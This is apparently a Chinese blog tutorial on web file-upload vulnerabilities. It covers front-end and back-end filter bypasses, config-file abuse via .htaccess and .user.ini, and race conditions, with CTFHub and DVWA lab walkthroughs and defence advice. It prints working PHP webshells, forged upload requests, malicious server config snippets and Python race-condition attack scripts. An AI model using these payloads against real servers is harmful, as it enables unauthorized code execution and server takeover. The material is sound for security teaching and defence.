欢迎光临
我们一直在努力

Web渗透之前后端漏洞-文件上传漏洞-过滤绕过与配置文件漏洞-条件竞争漏洞

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、概念

一、什么是文件上传漏洞

二、漏洞产生的根本原因

三、漏洞危害

四、典型攻击流程

五、常见绕过方式

六、防御建议

七、经典漏洞示例(DVWA Low 级别)

八、总结

二、前端过滤绕过

一、常见的前端过滤方式

二、前端过滤的核心缺陷

三、绕过前端过滤的典型步骤(以图片上传为例)

四、前端过滤的唯一正确用途

五、安全开发建议

六、靶场演示

前端验证:

三、后端文件类型绕过

一、定义

二、核心原理

三、常见后端文件类型绕过方法

1. MIME 类型绕过(修改 Content-Type)

2. 文件头魔数伪造(图片马/文档马)

3. 组合利用:伪造头部 + 修改扩展名

4. 利用文件内容检测的局限性

四、与“后端文件扩展名绕过”的区别

五、防御措施(针对后端文件类型绕过)

六、总结

七、靶场演示

MIME绕过:

文件头检测:

四、后端文件扩展名绕过

一、定义

二、核心原理

三、常见扩展名绕过方法

四、典型攻击流程(以黑名单为例)

五、与“后端文件类型绕过”的区别

六、防御措施

七、总结

八、靶场演示

00截断:

双写绕过:

五、配置文件漏洞

一、核心原理

二、常见可被利用的配置文件

三、典型攻击步骤(以 .htaccess 为例)

四、其他配置文件漏洞利用变种

五、防御措施

六、总结

七、靶场演示

.htaccess:

六、条件竞争

一、什么是条件竞争漏洞

二、漏洞产生的原因

三、常见的条件竞争攻击场景

场景1:上传后检查前被访问

场景2:先保存,后重命名/移动

场景3:分块上传与合并

四、典型攻击代码示例(Python 脚本)

五、漏洞实例(DVWA 等靶场)

六、修复与防御措施

七、总结

八、靶场演示

一、漏洞概述

二、漏洞代码分析

三、攻击步骤

Step 1:构造恶意上传文件(test.php)

Step 2:准备并发上传工具

Step 3:启动并发上传攻击

Step 4:同时访问上传的临时文件

Step 5:写入WebShell并验证


一、概念

一、什么是文件上传漏洞

文件上传漏洞 是指 Web 应用程序在处理用户上传的文件时,未对文件的类型、内容、大小等进行严格校验,导致攻击者可以上传恶意文件(如 WebShell、恶意脚本、可执行文件等),并通过后续访问该文件,在服务器上执行任意代码,从而完全控制服务器。

简单来说:你允许用户上传头像、附件、文档,但没检查上传的是不是真的图片/文档,攻击者就能上传一个“披着图片外衣”的木马。

二、漏洞产生的根本原因

  • 缺乏有效的文件类型校验

    • 仅通过 Content-Type(如 image/jpeg)判断,攻击者可轻易伪造。

    • 仅检查文件扩展名(如 .jpg),攻击者可双扩展名或利用解析漏洞绕过。

  • 文件内容未进行深度检查

    • 未检查文件头(Magic Number),攻击者可伪造 GIF89a 头部,后面跟恶意代码。

  • 上传后的文件可被访问或执行

    • 文件保存在 Web 可访问目录(如 uploads/),且服务器将其作为脚本解析(如 PHP、ASP、JSP)。

  • 缺乏重命名或隔离存储

    • 直接保留原始文件名,攻击者可利用路径遍历(../)覆盖系统文件。

  • 三、漏洞危害

    危害等级具体影响
    高危 上传 WebShell(如 webshell.php),获取服务器控制权 → 读取/修改所有文件、提权、内网渗透
    高危 上传恶意脚本执行系统命令,如反弹 Shell、下载木马
    中危 上传恶意的 HTML/JS 文件 → 存储型 XSS 攻击,或钓鱼页面
    中危 上传大文件耗尽服务器磁盘空间,导致拒绝服务
    低危 覆盖已有文件(如 ../../config.php)导致业务异常

    四、典型攻击流程

    示例(PHP WebShell 上传):

  • 编写 shell.php,内容:<?php system($_GET['cmd']); ?>

  • 将扩展名改为 shell.jpg 或伪造 Content-Type 为 image/jpeg

  • 上传成功,服务器保存为 http://target.com/uploads/shell.jpg

  • 攻击者访问 http://target.com/uploads/shell.jpg?cmd=whoami

  • 如果服务器配置不当(如 Apache 将 .jpg 按 PHP 解析),则执行 whoami 命令并返回结果。

  • 五、常见绕过方式

    防御措施绕过方法
    仅检查前端 JS 扩展名 修改请求包(抓包改后缀名)
    检查 Content-Type 修改为 image/gif 等白名单 MIME
    检查文件头(Magic Number) 在文件开头添加 GIF89a,后面跟上真实代码
    黑名单禁止 php 等扩展名 使用 .php3, .phtml, .php5 或双写 .phphpp
    仅客户端验证 直接上传原始恶意文件,无防护

    六、防御建议

  • 采用白名单校验

    • 只允许特定的扩展名(如 jpg,png,gif,doc,pdf),拒绝所有其他扩展名。

  • 检查文件内容

    • 使用 getimagesize() 或读取文件头(Magic Number)验证真实类型。

  • 上传后重命名

    • 使用随机字符串(如 UUID)作为文件名,不保留原始名称。

  • 隔离存储

    • 将文件存储到 Web 根目录之外,通过脚本读取并提供下载(避免直接 URL 执行)。

    • 如果必须 Web 可访问,设置该目录无脚本执行权限(如 Apache 的 php_flag engine off)。

  • 限制文件大小

    • 防止大文件上传耗尽资源。

  • 使用 Content-Disposition

    • 强制浏览器下载而非解析(针对 HTML 等文件)。

  • 七、经典漏洞示例(DVWA Low 级别)

    DVWA 的文件上传模块(Low):

    <?php
    if( isset( $_POST[ 'Upload' ] ) ) {
      $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
      $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
      if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
          echo '上传失败';
      } else {
          echo "文件已上传至 {$target_path}";
      }
    }
    ?>

    没有任何检查 → 直接上传 shell.php 即可获得 WebShell。

    八、总结

    文件上传漏洞本质是 信任了用户提供的数据并允许其在服务器上执行。修复的核心原则:

    所有上传的文件都应当被视为潜在的恶意文件,必须经过严格的类型校验、重命名、隔离存储,并禁止直接执行。

    二、前端过滤绕过

    前端过滤指的是 Web 应用在浏览器端(通过 JavaScript、HTML 属性等)对用户上传的文件进行初步检查,例如限制文件扩展名、文件类型或大小。它只能提供用户体验上的便利,无法作为真正的安全防护,因为攻击者可以轻松绕过前端限制。


    一、常见的前端过滤方式

    类型实现方式示例
    扩展名限制 HTML accept 属性 <input type="file" accept="image/jpeg,image/png">
    JavaScript 校验 JS 读取文件扩展名或 MIME 类型,不符合则阻止提交 if(!/\\.(jpg|png)$/i.test(fileName)) { alert('只允许图片'); }
    前端文件类型检测 读取 File 对象的 type 属性(基于 MIME) if(file.type !== 'image/jpeg') { alert('非法类型'); }
    前端大小限制 检查 file.size 属性 if(file.size > 2*1024*1024) { alert('文件超过2MB'); }

    二、前端过滤的核心缺陷

    所有前端验证都可以被绕过,因为攻击者完全可以控制 HTTP 请求的构造。

    浏览器执行的前端校验仅发生在用户本地,攻击者可以通过以下方法轻松绕过:

  • 直接篡改 HTTP 请求 使用 Burp Suite、Fiddler 等代理工具,拦截上传请求,将文件名、Content-Type 等修改为符合后端要求的格式,而实际发送的却是恶意文件内容。

  • 禁用或修改 JavaScript

    • 使用浏览器开发者工具删除相关校验函数。

    • 在浏览器设置中禁用 JavaScript,使前端校验代码完全不执行。

    • 修改 accept 属性或绕过 File 对象的检查。

  • 构造自定义 HTTP 请求 直接用 curl、Postman 等工具发送 POST 请求,完全绕过浏览器环境,自定义上传参数。


  • 三、绕过前端过滤的典型步骤(以图片上传为例)

  • 准备恶意文件 编写一个 shell.php 或 shell.jpg.php,内容为 <?php system($_GET['cmd']); ?>。

  • 修改文件名 在拦截的请求中,将 filename="shell.php" 改为 filename="shell.jpg"(如果后端仅检查扩展名)。 或将 Content-Type 改为 image/jpeg。

  • 发送请求 转发修改后的请求,文件内容依然是恶意脚本,但前后端看到的文件“类型”符合预期。

  • POST /upload.php HTTP/1.1
    Host: target.com
    Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary

    ——WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="shell.jpg"
    Content-Type: image/jpeg

    <?php system($_GET['cmd']); ?>
    ——WebKitFormBoundary–

    如果服务器未做严格后端校验,这个 shell.jpg 就可能被保存并以 PHP 解析执行。


    四、前端过滤的唯一正确用途

    前端过滤只能用于提升用户体验,例如:

    • 提醒用户上传正确的文件格式,减少无效提交。

    • 在文件过大时提前提示,避免网络传输浪费。

    永远不要依赖前端过滤来阻止恶意文件上传。安全必须建立在后端校验上。


    五、安全开发建议

    校验点正确实现方式
    文件扩展名 后端使用白名单(如 ['jpg','png']),拒绝所有其他扩展名。
    MIME 类型 后端检测 $_FILES['file']['type'] 不可信,应读取文件真实魔数(如 finfo_file)。
    文件内容 图片文件调用 getimagesize();文本文件检测是否有危险函数。
    存储方式 重命名为随机字符串(如 md5(time())),上传目录禁止脚本执行(如 .htaccess 设置 php_flag engine off)。
    大小限制 后端配置 upload_max_filesize 及 post_max_size。

    六、靶场演示

    以ctfhub靶场为例

    前端验证:

    这个前端验证不能直接上传木马文件

    f12看源代码,只能上传jpg,phg,gif文件

    所以要把木马文件改一下

    用bp抓包,再把jpg改成php

    放包上传

    用蚁剑测试连接,找flag文件

    找到flag

    三、后端文件类型绕过

    一、定义

    后端文件类型绕过 是指攻击者通过伪造或篡改文件的内容特征(如 MIME 类型、文件头魔数等),使后端程序在检查文件类型时将其误判为合法类型(如图片、文档),从而绕过服务器端基于文件类型的安全校验,成功上传恶意文件(如 WebShell)的技术。

    简单来说:欺骗服务器让它相信你上传的是一张图片或一个 PDF,而实际上里面藏着可执行的脚本代码。


    二、核心原理

    后端在接收文件时,通常会通过以下几种方式判断文件的“真实类型”:

    检查方式依赖数据可被伪造?
    $_FILES['file']['type'] 客户端发送的 Content-Type 头 极易伪造
    文件扩展名 文件名后缀 不属于“类型”检查,属于扩展名检查
    文件头魔数 文件开头的若干字节(如 FF D8 FF 表示 JPEG) 可伪造
    调用 finfo_file() / getimagesize() 读取文件真实内容 可伪造(仅头部)

    绕过的关键在于:后端往往只检查文件的前几个字节或客户端提供的 Content-Type,而不会完整解析文件内容。攻击者可以在恶意文件的开头插入合法的文件头,使校验函数误判。


    三、常见后端文件类型绕过方法

    1. MIME 类型绕过(修改 Content-Type)
    • 场景:后端仅检查 $_FILES['file']['type'] 是否在白名单内,例如 image/jpeg、image/png。

    • 绕过:使用 Burp Suite 拦截上传请求,将 Content-Type 改为允许的值,而文件内容保持不变(恶意脚本)。

    • 示例:

      Content-Disposition: form-data; name="file"; filename="shell.php"
      Content-Type: image/jpeg         ← 伪造为图片类型

    2. 文件头魔数伪造(图片马/文档马)
    • 场景:后端调用 finfo_file()、getimagesize() 或检查文件开头的魔术数字。

    • 绕过:在恶意文件前插入合法文件头。例如:

      • 图片马:GIF89a<?php system($_GET['cmd']); ?>

      • PDF 马:%PDF-1.4 … <?php … ?>

    • 原理:getimagesize() 读取到 GIF89a 会返回合法图片信息,但后续的 PHP 代码在特定条件下仍可被执行(如服务器将图片当作脚本解析、或包含漏洞)。

    3. 组合利用:伪造头部 + 修改扩展名
    • 场景:后端同时检查扩展名(白名单)和文件头。

    • 绕过:上传 shell.jpg,文件头伪造为 FF D8 FF(JPEG),内容为 PHP 代码。扩展名和头部都符合图片要求,但文件内嵌脚本。

    • 后续利用:如果服务器配置错误(如 .htaccess 将 .jpg 也作为 PHP 解析),或者存在本地文件包含漏洞,即可执行。

    4. 利用文件内容检测的局限性
    • 某些后端只检查文件头,而忽略文件其余部分。攻击者可在头部之后添加大量垃圾数据再插入真实脚本,绕过简单的字符串匹配。

    • 对于 PDF、DOCX 等复合文档,攻击者可将恶意宏或脚本嵌入正常文档中,保持文件类型特征不变。


    四、与“后端文件扩展名绕过”的区别

    对比项后端文件类型绕过后端文件扩展名绕过
    攻击目标 针对文件的内容特征(MIME、魔数) 针对文件名的后缀(扩展名)
    典型方法 修改 Content-Type、伪造文件头 双扩展名、00截断、大小写混淆、利用黑名单遗漏
    检测依据 文件实际字节内容 文件名字符串
    绕过后果 服务器将恶意文件误认为合法类型而接收 服务器允许非法扩展名上传

    两者可能同时使用:例如上传一个文件,扩展名伪装成 .jpg,文件头也伪装成 GIF89a,最终获得一个图片马。


    五、防御措施(针对后端文件类型绕过)

    • 不要信任客户端提供的 MIME:忽略 $_FILES['file']['type'],改用后端真实检测。

    • 深度检查文件头:不仅检查前几个字节,还应验证文件整个签名(如 PNG 需要检查多个 chunk)。

    • 对图片进行二次渲染:使用 GD 或 Imagick 重新生成图片,彻底消除恶意嵌入代码。

    • 使用多维度白名单:文件扩展名 + 文件头 + 文件内容特征(如图片尺寸、PDF 结构)三者同时匹配才放行。

    • 隔离存储与执行:上传文件存放于 Web 目录之外,通过脚本输出;上传目录禁止脚本执行。


    六、总结

    后端文件类型绕过的本质是 服务器对文件真实类型的判定逻辑存在盲点,攻击者可以利用这些盲点,让一个恶意文件通过“类型检查”并被存储到服务器上。成功的绕过通常还需要配合解析漏洞或包含漏洞才能造成实际危害。安全地实现文件上传,必须将 内容检测 与 存储隔离 相结合,而非依赖任何单一校验点

    七、靶场演示

    MIME绕过:

    这个也不能直接上传木马文件

    需要抓包,修改第17行的值,改成image/png

    放包再上传

    用蚁剑测试连接

    找到flag

    文件头检测:

    这个必须搞一个图片木马才能绕过

    截一个小图片

    把图片和木马结合到一块

    cat mm.png mm.php > mm_shell.png

    继续进行上传抓包,把png改成php

    url和路径结合

    蚁剑测试连接

    得到flag

    四、后端文件扩展名绕过

    一、定义

    后端文件扩展名绕过 是指攻击者通过构造特殊的文件名,使后端程序在检查文件扩展名时产生错误判断(例如将恶意文件判断为允许上传的类型),从而绕过基于扩展名的安全校验,成功上传可执行脚本(如 WebShell)的攻击技术。

    简单来说:欺骗服务器让它以为你上传的是 .jpg 或 .png,而实际保存下来的文件名却是 .php 或 .asp。

    二、核心原理

    后端通常通过获取文件名中的扩展名(如 pathinfo($filename, PATHINFO_EXTENSION))并与黑名单/白名单比对来决定是否允许上传。攻击者利用以下差异实现绕过:

    • 验证逻辑与保存逻辑不一致:后端检查时看到的扩展名是合法的,但实际保存到服务器时的文件名却是恶意的。

    • 黑名单覆盖不全:某些可执行扩展名未被禁止。

    • 字符串处理缺陷:大小写、双写、截断等导致过滤失效。


    三、常见扩展名绕过方法

    绕过方法原理示例文件名效果
    黑名单不完整 仅禁止 .php,未禁止其他 PHP 扩展名 shell.php5、shell.phtml 文件被保存为 .php5,仍可被 PHP 解析
    大小写混淆 黑名单只检查小写,未做归一化 shell.PhP 若系统大小写不敏感(如 Windows),保存后仍可作为 PHP 执行
    双扩展名(解析顺序差异) 后端只检查最后一个点后的后缀,而某些服务器解析机制使用第一个后缀 shell.jpg.php 后端检查到 .php 被拦截;但若检查第一个点:shell.php.jpg 被误判为 .jpg 而放行,服务器却可能执行 .php 部分
    特殊字符截断(00截断) 使用 %00 或 0x00 截断字符串,导致检查时只看到合法扩展名 shell.php%00.jpg 后端检测 .jpg 通过,但 C 类函数保存时截断为 shell.php
    双写绕过 黑名单删除一次危险关键字后,剩余部分仍构成危险扩展名 shell.pphphp 过滤 php 后剩下 shell.php
    文件系统特性(Windows) 末尾的 . 或空格被自动去除 shell.php. 检查时扩展名为空(或 . 被忽略),保存后变为 shell.php
    利用 NTFS 流文件 文件名包含 :,检查时忽略流名,保存时生成流文件 shell.php:jpg 检查扩展名为 jpg,实际写入 shell.php(流文件)

    四、典型攻击流程(以黑名单为例)

  • 探测黑名单:尝试上传 test.php → 被拦截;上传 test.php5 → 成功。说明黑名单未包含 .php5。

  • 上传 WebShell:将 <?php system($_GET['cmd']); ?> 命名为 shell.php5 上传。

  • 获取访问路径:假设上传目录为 /uploads/shell.php5。

  • 执行命令:访问 http://target.com/uploads/shell.php5?cmd=whoami,获得系统权限。


  • 五、与“后端文件类型绕过”的区别

    对比项后端文件扩展名绕过后端文件类型绕过
    攻击目标 文件名的后缀字符串 文件的内容特征(MIME、魔数)
    检查依据 $_FILES['name'] 中的扩展名 文件头或客户端 Content-Type
    典型方法 双扩展名、00截断、双写、大小写、利用系统特性 伪造 MIME、图片马、PDF 马
    绕过后果 非法扩展名被允许上传 恶意文件被误判为合法类型

    两者可组合使用:攻击者可能同时伪造扩展名(如 .jpg)和文件头(GIF89a),上传一个“图片马”。


    六、防御措施

    • 使用白名单而非黑名单:只允许业务必需的少数扩展名(如 .jpg, .png, .pdf),拒绝其他所有后缀。

    • 归一化处理:将文件名转为小写、去除末尾点/空格、过滤控制字符后再校验。

    • 严格白名单匹配:不允许任何不在列表中的扩展名,包括 .php5、.phtml 等变种。

    • 重命名文件:上传后使用随机字符串(如 UUID.jpg)重新命名,不保留原始文件名。

    • 禁用危险解析:上传目录配置禁止脚本执行(如 Apache 的 php_flag engine off)。

    • 多层校验:扩展名 + 文件头 + 内容检测组合使用。


    七、总结

    后端文件扩展名绕过本质是利用 文件名处理逻辑的缺陷或配置的疏忽,让恶意脚本以“合法”的名义入驻服务器。最有效的防御是 白名单 + 重命名 + 存储隔离,彻底消除扩展名带来的风险。

    八、靶场演示

    00截断:

    导入mm.jpg

    修改

    放包上传可能不显示上传路径,手动添加一下

    跟上面操作一样,用蚁剑测试连接,找到flag

    双写绕过:

    上传php木马

    抓包把php改成pphphp

    放包

    用蚁剑测试连接成功

    找到flag

    五、配置文件漏洞

    配置文件漏洞是文件上传漏洞的一种特殊利用方式。攻击者通过上传特定的配置文件(如 .htaccess、web.config、httpd.conf 等)来改变服务器对文件解析的行为,从而使之前上传的普通文件(如图片、文本)被当作脚本执行,或直接执行恶意代码。

    一、核心原理

    Web 服务器(如 Apache、Nginx、IIS)允许在特定目录下放置配置文件,用于覆盖全局设置。如果网站的上传功能没有限制文件类型,攻击者可以上传一个恶意的配置文件,并利用它:

    • 将任意扩展名的文件(如 .jpg)当作 PHP 或 ASP 脚本解析。

    • 开启服务器目录列表,方便访问上传的其他恶意文件。

    • 修改错误处理、重定向规则等,辅助钓鱼或攻击。

    成功上传配置文件后,攻击者再上传一个内容为恶意脚本的“图片马”或“文本文件”,由于配置文件已改变解析规则,该伪装的普通文件会被服务器当作脚本执行,从而获取 WebShell。

    二、常见可被利用的配置文件

    配置文件适用服务器作用
    .htaccess Apache 目录级配置,可覆盖主配置文件。
    web.config IIS 7.0+ 可控制错误页面、处理程序映射等。
    httpd.conf / apache2.conf Apache(全局) 除非上传目录恰好是主配置目录,一般无法覆盖。
    .user.ini PHP (FastCGI 模式) 可设置 auto_prepend_file 等选项,自动包含文件。

    三、典型攻击步骤(以 .htaccess 为例)

  • 上传 .htaccess 文件 构造一个 .htaccess 内容:

    AddType application/x-httpd-php .jpg .png .gif

    该指令使 Apache 将扩展名为 .jpg、.png、.gif 的文件当作 PHP 脚本解析。

  • 绕过文件类型检查 如果后端限制了上传文件的扩展名(如仅允许图片),攻击者可将文件名设为 shell.jpg,内容为:

    <?php system($_GET['cmd']); ?>

    同时可能还需要伪造文件头(如 GIF89a)以通过内容检查。

  • 访问触发 访问 http://target.com/uploads/shell.jpg?cmd=id,即使文件扩展名为 .jpg,由于 .htaccess 的配置,服务器仍会以 PHP 执行该文件,返回 uid=www-data 等信息。

  • 四、其他配置文件漏洞利用变种

    配置文件恶意配置示例利用效果
    web.config (IIS) xml<handlers><add name="php" path="*.jpg" verb="*" modules="FastCgiModule" scriptProcessor="C:\\php\\php-cgi.exe" /></handlers> 将 .jpg 映射给 PHP 解析器
    .user.ini (PHP) auto_prepend_file = shell.jpg 在每个 PHP 文件执行前自动包含 shell.jpg(该文件内嵌恶意代码)
    .htaccess php_value auto_prepend_file shell.jpg 同上,实现自动包含
    .htaccess Options +Indexes 开启目录列表,暴露其他上传文件
    crossdomain.xml <allow-access-from domain="*" /> 开启跨域策略,可能被用于 CSRF 或信息窃取

    五、防御措施

    • 白名单限制上传文件扩展名:坚决不允许上传 .htaccess、.ini、.xml、.config 等配置文件扩展名。

    • 重命名上传文件:使用随机字符串(如 md5(time()))重命名,并保留安全的扩展名(如 .jpg),完全丢弃原始文件名。

    • 设置上传目录禁止执行脚本:在 Apache 中使用 .htaccess 禁用 PHP 引擎:

      php_flag engine off

      或在 Nginx 中使用 location 匹配上传目录,返回 404 或直接拒绝访问。

    • 限制目录配置覆盖范围:在 Apache 主配置中设置 AllowOverride None,禁止使用 .htaccess 覆盖配置。

    • 定期扫描上传目录:检查是否存在非预期的配置文件或恶意脚本。

    • 文件内容检查:对上传的文件内容进行深度扫描,防止内嵌恶意代码。

    六、总结

    配置文件漏洞是文件上传攻击中威力巨大的一类,它不直接上传 WebShell,而是通过“改变规则”让服务器为攻击者服务。防御的关键在于严格的扩展名白名单 + 重命名 + 上传目录无执行权限,三者缺一不可。

    七、靶场演示

    .htaccess:

    .htaccess文件,用.htaccess为文件名

    <FilesMatch "\\.jpg$">
      SetHandler application/x-httpd-php
    </FilesMatch>

    先上传.htaccess文件

    再上传图片木马文件

    把url和上传路径给结合,用·蚁剑验证

    得到flag

    六、条件竞争

    一、什么是条件竞争漏洞

    条件竞争漏洞是指系统在处理多个并发请求时,由于代码执行的时序问题,导致攻击者能够利用“检查与使用”之间的时间差,绕过安全限制。在文件上传场景中,条件竞争通常发生在:

    • 服务器接收到上传的文件后,先临时保存,然后才进行安全检查(如扫描病毒、检测类型、重命名等)。

    • 在文件被验证之前,攻击者能够访问并执行该临时文件。

    简而言之:攻击者抢在服务器“杀死”恶意文件之前,抢先触发它的执行。

    二、漏洞产生的原因

    典型的不安全代码流程如下:

  • 接收上传文件,保存到服务器临时目录(例如 /tmp/upload_12345.tmp)或最终上传目录。

  • 对文件进行安全检查(扩展名、MIME、内容扫描等)。

  • 若检查不通过,删除该文件。

  • 问题在于:从第1步到第3步之间存在一个时间窗口。如果攻击者能够在文件被删除之前,发起另一个并发请求访问这个文件(如通过已知路径直接请求),则恶意代码可能被执行。

    三、常见的条件竞争攻击场景

    场景1:上传后检查前被访问
    • 上传一个 shell.php,内容为 <?php system($_GET['cmd']); ?>。

    • 服务器接收后,临时保存在 /uploads/ 目录下(或公开可访问的临时路径)。

    • 同时,攻击者编写脚本,在上传瞬间不断请求 http://target.com/uploads/shell.php?cmd=whoami。

    • 如果请求在文件被删除之前到达,且服务器配置将该文件作为 PHP 解析,则命令执行成功。

    场景2:先保存,后重命名/移动

    某些应用先将文件保存到最终目录,再检查后缀,发现非法则删除。攻击者可以在删除前访问。

    场景3:分块上传与合并

    一些应用支持分块上传,将文件块暂存后再合并。攻击者可以在合并完成前访问未完成的临时文件。

    四、典型攻击代码示例(Python 脚本)

    import threading
    import requests

    upload_url = "http://target.com/upload.php"
    attack_url = "http://target.com/uploads/shell.php"

    # 上传恶意文件
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    data = {'submit': 'upload'}

    def upload():
      while True:
          requests.post(upload_url, files=files, data=data)

    def attack():
      while True:
          r = requests.get(attack_url + "?cmd=whoami")
          if r.status_code == 200:
              print(r.text)
              break

    # 多线程并发
    for i in range(10):
      threading.Thread(target=upload).start()
      threading.Thread(target=attack).start()

    五、漏洞实例(DVWA 等靶场)

    • DVWA 文件上传模块(low/medium):上传后直接保存,不检查或仅简单检查,无删除机制 → 无竞争问题。

    • 某些安全插件:先上传到临时目录,后台扫描,扫描通过才移至最终目录。此时存在竞争窗口。

    六、修复与防御措施

    措施说明
    先验证后保存 在内存中完成所有检查(扩展名、MIME、内容扫描),通过后再写入磁盘,消除临时文件暴露时间。
    使用不易猜测的路径 将上传文件保存到 Web 目录之外,或使用随机字符串命名,使攻击者无法直接猜测访问路径。
    设置临时目录禁止执行脚本 临时目录配置 .htaccess 或 php_flag engine off,即使被访问也不会执行。
    文件锁定机制 在检查期间对文件加锁,检查完成前禁止其他进程读取。
    原子操作 将“写入-检查-移动”设计为原子操作(如使用数据库事务或文件系统 rename 配合锁)。
    及时删除 减少检查时间,尽快删除非法文件。但无法完全消除竞争窗口。

    七、总结

    条件竞争是文件上传漏洞中的高级利用技巧,它不直接绕过内容检查,而是利用服务器处理文件时的逻辑顺序缺陷。防御的核心是:在文件写入可访问位置之前完成所有安全检查,或者使临时文件无法被攻击者访问/执行。

    八、靶场演示

    一、漏洞概述

    本次测试的目标是一个存在条件竞争(Race Condition)的文件上传功能。后端PHP代码的缺陷在于:先将上传的文件保存到服务器,再检查文件扩展名是否在白名单内,如果不合法则删除。攻击者可以利用“保存”与“删除”之间的极短时间窗口,在文件被删除前抢先访问并执行它,从而获得WebShell。

    二、漏洞代码分析

    前端:

    后端:

    $ext_arr = array('jpg', 'png', 'gif');
    $file_ext = end(explode(".", $name));   // 获取扩展名
    $upload_file = "./images/{$name}";

    if(move_uploaded_file($temp_file, $upload_file)){   // 先移动文件
      if(in_array($file_ext, $ext_arr)){             // 后检查扩展名
          echo "success";
      }else{
          unlink($upload_file);                       // 不合法则删除
      }
    }

    问题:从 move_uploaded_file 完成到 unlink 执行之间存在时间差。攻击者可在此期间访问该文件,触发执行。

    三、攻击步骤
    Step 1:构造恶意上传文件(test.php)

    文件内容:

    <?php
    file_put_contents("shell.php", '<?php eval($_POST[0]); ?>');
    echo "getshell!!!";
    ?>

    目的:该脚本被临时保存后,一旦被访问,会在当前目录生成一个真正的WebShell shell.php,内容为一句话木马(密码0)。

    Step 2:准备并发上传工具

    使用 Burp Suite Intruder 实现无限循环上传。

  • 抓包:拦截上传test.php的POST请求。

  • 发送到Intruder(Ctrl+I)。

  • 清空Payload位置标记(因为不需要替换参数,只需重复发送相同请求)。

  • Payloads设置:

    • Payload type: Null payloads

    • 勾选 Continue indefinitely(无限持续发送)

  • Resource pool:设置足够高的并发线程数(如20)。

  • Step 3:启动并发上传攻击

    访问test.php

    再进行bp抓包,发到Intruder进行爆破

    点击 Start attack,Burp Suite 开始以极高频率重复上传 test.php。

    如果上传不了,那就使用下面脚本访问test.php

    import requests
    import threading

    def demo():
      req = requests.get("http://IP/images/test.php")

    while True:
      threading.Thread(target=demo).start()

    Step 4:同时访问上传的临时文件

    在并发上传期间,使用浏览器或curl反复请求:

    http://靶机IP/images/test.php

    由于test.php被不断上传并短暂存在,总有一次请求会在文件被删除前命中,从而触发脚本执行。

    Step 5:写入WebShell并验证

    成功执行后,test.php会在同一目录(/images/)下生成shell.php。访问:

    http://靶机IP/images/shell.php

    POST参数 0=phpinfo(); 即可看到PHP配置信息,证明WebShell可用

    赞(0)
    未经允许不得转载:171主机测评 » Web渗透之前后端漏洞-文件上传漏洞-过滤绕过与配置文件漏洞-条件竞争漏洞
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址